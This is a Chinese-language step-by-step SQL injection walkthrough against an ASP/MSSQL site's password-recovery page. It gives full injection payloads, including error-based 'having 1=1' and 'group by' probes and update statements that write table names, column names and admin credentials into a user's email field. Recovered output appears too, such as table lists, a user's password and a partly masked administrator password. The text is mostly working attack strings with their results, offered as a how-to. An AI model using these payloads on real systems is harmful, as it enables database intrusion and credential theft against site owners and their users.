第一步:
在輸入使用者名稱處輸入單引號,顯示
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
字串 ''' 之前有未閉合的引號。
/user/wantpws.asp,行63
說明沒有過濾單引號且資料庫是MSSQL.
第二步:
輸入a';use master;--
顯示
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e21'
多步 OLE DB 操作產生錯誤。如果可能,請檢查每個 OLE DB 狀態值。沒有工作被完成。
/user/wantpws.asp,行63
這樣說明沒有許可權了。
第三步:
輸入:a' or name like 'fff%';--
顯示有一個叫ffff的使用者哈。
第四步:
在使用者名稱處輸入
ffff' and 1<>(select count(email) from [user]);--
顯示:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e37'
對象名 'user' 無效。
/user/wantpws.asp,行96
說明沒有叫user的表,換成users試試成功,同時說明有一個叫email的列.
(東方飄雲的一個辦法是輸入a' having 1=1--
一般返回如下也就可以直接得到表名和一個欄位名了
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
列 'users.ID' 在挑選清單中無效,因為該列未包含在彙總函式中,並且沒有 GROUP BY 子句。
/user/wantpws.asp,行63
)
現在我們知道了ffff使用者的密碼是111111.
下面通過語句得到資料庫中的所有表名和欄位名。
第五步:
輸入:
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
說明:
上面的語句是得到資料庫中的第一個使用者表,並把表名放在ffff使用者的郵箱欄位中。
通過查看ffff的使用者資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
同上可知id是:581577110
由於對象標誌id是根據由小到大排列的所以我們可以得到所有的使用者表的名字了
象下面這樣就可以得到第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk
經過一段時間的猜測後我們得到上面的分析一下應該明白password,users是最得要的
第六步:猜重要表的欄位
輸入:
現在就看看users表有哪些欄位
ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';--
得到第三個欄位是password
ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';--
得到第四個欄位是name
最後users表的欄位共28個全得到了
(注:另一個得到欄位的辦法,前提是系統的返回出錯資訊
a' group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
列 'users.userid' 在挑選清單中無效,因為該列既不包含在彙總函式中,也不包含在 GROUP BY 子句中。
/user/wantpws.asp,行63
這個第二個欄位就是userid
顯示第三個欄位。
a' group by id,userid having 1=1--
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14'
列 'users.password' 在挑選清單中無效,因為該列既不包含在彙總函式中,也不包含在 GROUP BY 子句中。
/user/wantpws.asp,行63
得到是password
同理,一直顯示出所有。:)
)
users表
1 2 3 4
id userid password name
5 6 7 8 9 10 11 12 13 14 15 16
Province homeaddress city adress starlook sex email nlook nos date money send
然後我又試ad原來是用來記錄廣告擊點的。。
然後又試password表得到有name和pwd欄位。
執行
ffff';update [users] set email=(select top 1 name from password) where name='ffff';--
可得第一個使用者名稱是admin123看樣兒多半是管理員了。
然後又得到了密碼是dy***dick188還是打星號算了哈哈...
再進一步還可以知道管理員一共有三人密碼也都能看到了。
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--